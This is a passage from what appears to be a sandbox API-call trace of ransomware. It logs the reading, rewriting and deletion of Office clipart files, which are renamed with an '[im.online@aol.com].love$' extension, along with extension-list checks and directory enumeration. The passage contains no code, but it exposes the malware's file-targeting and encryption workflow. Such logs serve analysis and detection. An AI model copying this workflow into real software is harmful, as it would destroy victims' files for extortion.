lpOverlapped=0x0) returned 1 [0284.959] WriteFile (in: hFile=0x360, lpBuffer=0x38f4020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f4020*, lpNumberOfBytesWritten=0x2d3fc94*=0x3860, lpOverlapped=0x0) returned 1 [0284.962] ReadFile (in: hFile=0x368, lpBuffer=0x38f4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f4020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.962] WriteFile (in: hFile=0x360, lpBuffer=0x38f4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f4020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1 [0284.963] SetEndOfFile (hFile=0x360) returned 1 [0284.963] CloseHandle (hObject=0x360) returned 1 [0284.963] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.963] SetEndOfFile (hFile=0x368) returned 1 [0284.964] CloseHandle (hObject=0x368) returned 1 [0284.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0284.965] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 1 [0284.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0284.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0284.966] lstrlenW (lpString=".doc") returned 4 [0284.966] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.966] lstrlenW (lpString=".docx") returned 5 [0284.966] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.966] lstrlenW (lpString=".pdf") returned 4 [0284.966] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.966] lstrlenW (lpString=".xls") returned 4 [0284.966] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.966] lstrlenW (lpString=".xlsx") returned 5 [0284.966] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.966] lstrlenW (lpString=".ppt") returned 4 [0284.966] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0284.966] lstrlenW (lpString=".zip") returned 4 [0284.966] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.966] lstrlenW (lpString=".rar") returned 4 [0284.966] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.966] lstrlenW (lpString=".bz2") returned 4 [0284.966] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.966] lstrlenW (lpString=".7z") returned 3 [0284.966] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0284.967] lstrlenW (lpString=".dbf") returned 4 [0284.967] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0284.967] lstrlenW (lpString=".1cd") returned 4 [0284.967] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0284.967] lstrlenW (lpString=".jpg") returned 4 [0284.967] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0284.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0284.967] lstrlenW (lpString=".doc") returned 4 [0284.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.967] lstrlenW (lpString=".docx") returned 5 [0284.967] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.967] lstrlenW (lpString=".pdf") returned 4 [0284.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.967] lstrlenW (lpString=".xls") returned 4 [0284.967] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.967] lstrlenW (lpString=".xlsx") returned 5 [0284.967] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.967] lstrlenW (lpString=".ppt") returned 4 [0284.967] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0284.967] lstrlenW (lpString=".zip") returned 4 [0284.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.967] lstrlenW (lpString=".rar") returned 4 [0284.968] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.968] lstrlenW (lpString=".bz2") returned 4 [0284.968] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.968] lstrlenW (lpString=".7z") returned 3 [0284.968] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0284.968] lstrlenW (lpString=".dbf") returned 4 [0284.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0284.968] lstrlenW (lpString=".1cd") returned 4 [0284.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0284.968] lstrlenW (lpString=".jpg") returned 4 [0284.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.968] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0284.968] lstrlenW (lpString="AN01173_.WMF") returned 12 [0284.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0284.969] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=26332) returned 1 [0284.969] CloseHandle (hObject=0x368) returned 1 [0284.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 0x220 [0284.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0284.970] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.970] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0284.971] GetLastError () returned 0x0 [0284.971] ReadFile (in: hFile=0x368, lpBuffer=0x38f4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f4020*, lpNumberOfBytesRead=0x2d3fecc*=0x66dc, lpOverlapped=0x0) returned 1 [0284.973] WriteFile (in: hFile=0x360, lpBuffer=0x38f4020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f4020*, lpNumberOfBytesWritten=0x2d3fc94*=0x66e0, lpOverlapped=0x0) returned 1 [0284.975] ReadFile (in: hFile=0x368, lpBuffer=0x38f4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f4020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.975] WriteFile (in: hFile=0x360, lpBuffer=0x38f4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f4020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1 [0284.976] SetEndOfFile (hFile=0x360) returned 1 [0284.976] CloseHandle (hObject=0x360) returned 1 [0284.976] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.976] SetEndOfFile (hFile=0x368) returned 1 [0284.977] CloseHandle (hObject=0x368) returned 1 [0284.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0284.978] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 1 [0284.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0284.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0284.979] lstrlenW (lpString=".doc") returned 4 [0284.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.979] lstrlenW (lpString=".docx") returned 5 [0284.979] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.979] lstrlenW (lpString=".pdf") returned 4 [0284.979] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.979] lstrlenW (lpString=".xls") returned 4 [0284.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.979] lstrlenW (lpString=".xlsx") returned 5 [0284.979] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.979] lstrlenW (lpString=".ppt") returned 4 [0284.979] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0284.979] lstrlenW (lpString=".zip") returned 4 [0284.979] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.979] lstrlenW (lpString=".rar") returned 4 [0284.979] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.979] lstrlenW (lpString=".bz2") returned 4 [0284.979] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.979] lstrlenW (lpString=".7z") returned 3 [0284.979] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0284.979] lstrlenW (lpString=".dbf") returned 4 [0284.979] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0284.980] lstrlenW (lpString=".1cd") returned 4 [0284.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0284.980] lstrlenW (lpString=".jpg") returned 4 [0284.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0284.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0284.980] lstrlenW (lpString=".doc") returned 4 [0284.980] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.980] lstrlenW (lpString=".docx") returned 5 [0284.980] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.980] lstrlenW (lpString=".pdf") returned 4 [0284.980] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.980] lstrlenW (lpString=".xls") returned 4 [0284.980] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.980] lstrlenW (lpString=".xlsx") returned 5 [0284.980] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.980] lstrlenW (lpString=".ppt") returned 4 [0284.980] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0284.980] lstrlenW (lpString=".zip") returned 4 [0284.980] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.980] lstrlenW (lpString=".rar") returned 4 [0284.980] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.980] lstrlenW (lpString=".bz2") returned 4 [0284.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.980] lstrlenW (lpString=".7z") returned 3 [0284.981] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0284.981] lstrlenW (lpString=".dbf") returned 4 [0284.981] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0284.981] lstrlenW (lpString=".1cd") returned 4 [0284.981] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0284.981] lstrlenW (lpString=".jpg") returned 4 [0284.981] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.981] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0284.981] lstrlenW (lpString="AN01174_.WMF") returned 12 [0284.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0284.982] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=27858) returned 1 [0284.982] CloseHandle (hObject=0x368) returned 1 [0284.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 0x220 [0284.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0284.982] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.983] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0284.983] GetLastError () returned 0x0 [0284.983] ReadFile (in: hFile=0x368, lpBuffer=0x38f4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f4020*, lpNumberOfBytesRead=0x2d3fecc*=0x6cd2, lpOverlapped=0x0) returned 1 [0285.657] WriteFile (in: hFile=0x360, lpBuffer=0x38f4020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f4020*, lpNumberOfBytesWritten=0x2d3fc94*=0x6ce0, lpOverlapped=0x0) returned 1 [0286.072] ReadFile (in: hFile=0x368, lpBuffer=0x38f4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f4020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.075] WriteFile (in: hFile=0x360, lpBuffer=0x38f4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f4020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1 [0286.076] SetEndOfFile (hFile=0x360) returned 1 [0286.076] CloseHandle (hObject=0x360) returned 1 [0286.077] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.077] SetEndOfFile (hFile=0x368) returned 1 [0286.079] CloseHandle (hObject=0x368) returned 1 [0286.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0286.079] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 1 [0286.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0286.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0286.081] lstrlenW (lpString=".doc") returned 4 [0286.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.081] lstrlenW (lpString=".docx") returned 5 [0286.081] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.081] lstrlenW (lpString=".pdf") returned 4 [0286.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.081] lstrlenW (lpString=".xls") returned 4 [0286.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.081] lstrlenW (lpString=".xlsx") returned 5 [0286.081] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.081] lstrlenW (lpString=".ppt") returned 4 [0286.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0286.081] lstrlenW (lpString=".zip") returned 4 [0286.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.081] lstrlenW (lpString=".rar") returned 4 [0286.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.081] lstrlenW (lpString=".bz2") returned 4 [0286.081] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.082] lstrlenW (lpString=".7z") returned 3 [0286.082] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0286.082] lstrlenW (lpString=".dbf") returned 4 [0286.082] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0286.082] lstrlenW (lpString=".1cd") returned 4 [0286.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0286.082] lstrlenW (lpString=".jpg") returned 4 [0286.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0286.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0286.082] lstrlenW (lpString=".doc") returned 4 [0286.082] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.082] lstrlenW (lpString=".docx") returned 5 [0286.082] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.082] lstrlenW (lpString=".pdf") returned 4 [0286.082] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.082] lstrlenW (lpString=".xls") returned 4 [0286.082] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.082] lstrlenW (lpString=".xlsx") returned 5 [0286.082] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.082] lstrlenW (lpString=".ppt") returned 4 [0286.082] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0286.082] lstrlenW (lpString=".zip") returned 4 [0286.083] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.083] lstrlenW (lpString=".rar") returned 4 [0286.083] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.083] lstrlenW (lpString=".bz2") returned 4 [0286.083] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.083] lstrlenW (lpString=".7z") returned 3 [0286.083] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0286.083] lstrlenW (lpString=".dbf") returned 4 [0286.083] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0286.083] lstrlenW (lpString=".1cd") returned 4 [0286.083] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0286.083] lstrlenW (lpString=".jpg") returned 4 [0286.083] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.083] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0286.083] lstrlenW (lpString="AN04134_.WMF") returned 12 [0286.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 99 os_tid = 0xa88 [0282.909] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xfffe) returned 0x3720068 [0282.910] lstrlenW (lpString="C:") returned 2 [0282.910] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2e7fcf8 | out: lpFindFileData=0x2e7fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76e90000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x4f9e28 [0282.910] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0282.910] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0282.910] lstrlenW (lpString="$GetCurrent") returned 11 [0282.910] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0282.910] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xfffe) returned 0x3730070 [0282.911] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0282.911] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x543ad0 [0282.911] FindNextFileW (in: hFindFile=0x543ad0, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0282.911] FindNextFileW (in: hFindFile=0x543ad0, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, 